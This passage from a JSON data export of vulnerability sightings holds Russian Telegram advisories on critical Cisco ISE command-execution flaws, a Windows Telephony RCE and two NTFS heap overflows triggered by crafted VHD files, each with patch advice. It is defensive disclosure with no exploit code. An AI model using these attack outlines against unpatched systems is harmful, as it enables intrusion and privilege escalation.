\u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-26T02:00:06.327689Z"}, {"uuid": "d468fd19-8616-4ce1-b1e9-bb8d73f120cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://t.me/cyberwarehouse/1107", "content": "\ud83d\udd25 Cisco ISE: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 RCE \ud83d\udd34\n\n\u0415\u0441\u043b\u0438 \u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b Read Only Admin \u0432 Cisco ISE, \u044d\u0442\u043e\u0433\u043e \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0447\u0435\u0440\u0435\u0437 crafted HTTP request \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \ud83d\ude2c\n\n\u0420\u0435\u0447\u044c \u043f\u0440\u043e CVE-2026-20180 \u0438 CVE-2026-20186. Cisco \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u043a\u0443 \u0432 CVSS 9.9 Critical.\n\n\ud83d\udca5 \u0420\u0438\u0441\u043a\u0438:\n\u2022 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 ISE\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e root\n\u2022 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 DoS single-node deployment\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u2022 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e 3.2 Patch 8 / 3.3 Patch 8 / 3.4 Patch 4\n\u2022 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c admin-\u0434\u043e\u0441\u0442\u0443\u043f\u044b\n\u2022 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c management-\u0434\u043e\u0441\u0442\u0443\u043f\n\u2022 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043b\u043e\u0433\u0438\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e VIP-\u0432\u0435\u0440\u0441\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430: https://vip.eh.su \ud83d\ude80\n\n#Cisco #ISE #CVE #RCE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-26T02:00:06.372154Z"}, {"uuid": "7775d479-6960-48c2-a162-87d711a51e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/cyberwarehouse/1057", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by researcher Sergey Bliznyuk.\n\nRead the write-up:\n\n\ud83d\udd17 https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/\n\ud83d\udd17 https://habr.com/ru/companies/pt/articles/984934/", "creation_timestamp": "2026-07-26T02:00:06.780496Z"}, {"uuid": "9f6cca3b-8ed2-4a37-a4ee-62357060e24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20672", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1984", "content": "", "creation_timestamp": "2026-07-28T08:45:34.903529Z"}, {"uuid": "32479d72-576b-44c1-946a-55df2110d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u2014 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \ud83d\udc47\n\n1\ufe0f\u20e3 \u0414\u0432\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u0432 \u0437\u0430\u0449\u0438\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ntfs.sys, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 NTFS\nPT-2026-2690, CVE-2026-20840 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 heap-based buffer overflow: \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0438\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0431\u0430\u0433\u0430\u0436 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u043d\u0435 \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0441\u0435\u043a \u0441\u0430\u043c\u043e\u043b\u0435\u0442\u0430, \u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0436\u0435\u0441\u0442\u043a\u0438\u0445 \u0434\u0438\u0441\u043a\u043e\u0432 (VHD). \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e. \u041e\u043d \u043c\u043e\u0433 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 VHD-\u0444\u0430\u0439\u043b, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0430\u0440\u0443\u0448\u0438\u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u043f\u0443\u0442\u044c \u043a \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e: \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438, \u0435\u0441\u043b\u0438 \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n2\ufe0f\u20e3 \u0415\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NTFS\nPT-2026-2727, CVE-2026-20922 (7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS 3.1)\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u041e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 \u043a\u043e\u0434\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435. \u041e\u0431\u0440\u0430\u0437\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0441\u0430\u043c\u043e\u043b\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0431\u0430\u0433\u0430\u0436\u0430, \u0447\u0442\u043e \u043e\u043d \u0432\u044b\u0434\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0434\u0432\u0435\u0440\u044c \u0432 \u043a\u0430\u0431\u0438\u043d\u0443 \u043f\u0438\u043b\u043e\u0442\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u0434\u0435\u0444\u0435\u043a\u0442, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u0432 \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u044b\u0445 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\ud83d\udd04 \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\n\u0421\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft.\n\n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u043e\u0431\u0443\u044e \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0436\u0435\u0441\u0442\u043a\u0438\u043c\u0438 \u0434\u0438\u0441\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c VHD-\u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432.\n\n#Positive\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b\n@Positive_Technologies", "creation_timestamp": "2026-07-26T02:02:58.042804Z"}, {"uuid": "87561396-1b83-474f-b8b5-238e1d4feb35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://t.me/Positive_Technologies/3988", "content": "\u2757\ufe0f\u0421\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Windows: \u043d\u0430\u0448 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043f\u043e\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u041e\u0421\n\n\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 PT ESC \u0421\u0435\u0440\u0433\u0435\u0439 \u0422\u0430\u0440\u0430\u0441\u043e\u0432 (immortalp0ny) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0432\u0448\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 30 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0438 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u043c\u0438\u0440\u0435 \u2014 Windows 11 \u0438 Windows Server.\n\n\u0414\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c \u2014 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u043c \u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u043c. Microsoft \u0431\u044b\u043b \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 